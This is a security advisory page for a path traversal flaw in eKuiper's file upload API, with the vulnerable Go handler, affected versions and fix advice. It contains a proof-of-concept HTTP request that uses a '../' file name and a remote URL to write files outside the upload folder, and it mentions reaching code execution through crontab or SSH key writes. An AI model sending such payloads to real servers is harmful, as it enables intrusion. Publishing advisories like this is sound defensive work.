GHSA-gj54-gwj9-x2c6 eKuiper /config/uploads API arbitrary file writing may lead to RCE

Not scored Published

Unauthenticated attackers can write arbitrary files via path traversal in the upload API, potentially achieving remote code execution.

Exploited in the wild
Not known
Login needed
Not needed
Attackable
Over the internet
Victim action needed
Not needed
Fix
Available

What is GHSA-gj54-gwj9-x2c6?

GHSA-gj54-gwj9-x2c6 is a path traversal vulnerability in github.com/lf-edge/ekuiper, published on 3 Jul 2025. An attacker can exploit it over the internet without logging in, with no action from the victim.

Official description

Summary

eKuiper /config/uploads API supports accessing remote web URLs and saving files in the local upload directory, but there are no security restrictions, resulting in arbitrary file writing through ../. If run with root privileges, RCE can be achieved by writing crontab files or ssh keys.

Details

func fileUploadHandler(w http.ResponseWriter, r *http.Request) {
	switch r.Method {
	// Upload or overwrite a file
	case http.MethodPost:
		switch r.Header.Get("Content-Type") {
		case "application/json":
			fc := &fileContent{}
			defer r.Body.Close()
			err := json.NewDecoder(r.Body).Decode(fc)
			if err != nil {
				handleError(w, err, "Invalid body: Error decoding file json", logger)
				return
			}
			err = fc.Validate()
			if err != nil {
				handleError(w, err, "Invalid body: missing necessary field", logger)
				return
			}

			filePath := filepath.Join(uploadDir, fc.Name)
			err = upload(fc)
  • The fc.Name parameter do not safely filtered.

PoC

POST /config/uploads HTTP/1.1
Host: localhost:9081
Content-Type: application/json
Content-Length: 89

{
  "name": "../../../../tmp/success",
 "file": "http://192.168.65.254:8888/success"
}

image

Impact

Tested and verified only on 1.14.3 and 1.14.1, theoretically all versions using this code could be affected.

  1. SSRF
  2. Path-Travel
  3. May leads to RCE

The reporters is m0d9 from Tencent YunDing Lab.

Which versions are affected by GHSA-gj54-gwj9-x2c6?

6 open source packages ship an affected version, including github.com/lf-edge/ekuiper and github.com/lf-edge/ekuiper/v2.

PackageAffectedFixed in
github.com/lf-edge/ekuiper GoAll versionsNone
github.com/lf-edge/ekuiper GoAll versions to 1.14.7None
github.com/lf-edge/ekuiper GoAll versions to 1.14.7None
github.com/lf-edge/ekuiper/v2 GoAll versions2.2.0
github.com/lf-edge/ekuiper/v2 GoAll versions2.2.0
github.com/lf-edge/ekuiper/v2 GoAll versions2.2.0

How do I fix GHSA-gj54-gwj9-x2c6?

Apply the vendor's patch.

Upgrade, and resolve every user-supplied path against an allowed base folder before opening it. More about Path traversal.

Is GHSA-gj54-gwj9-x2c6 being exploited?

There is no known exploitation of GHSA-gj54-gwj9-x2c6 in the wild and no public exploit code.

Sources

Also known as GO-2025-3800.

Is GHSA-gj54-gwj9-x2c6 in your software?

Upload an SBOM and sbomify checks it against every vulnerability here, every day.

Check your SBOMs for free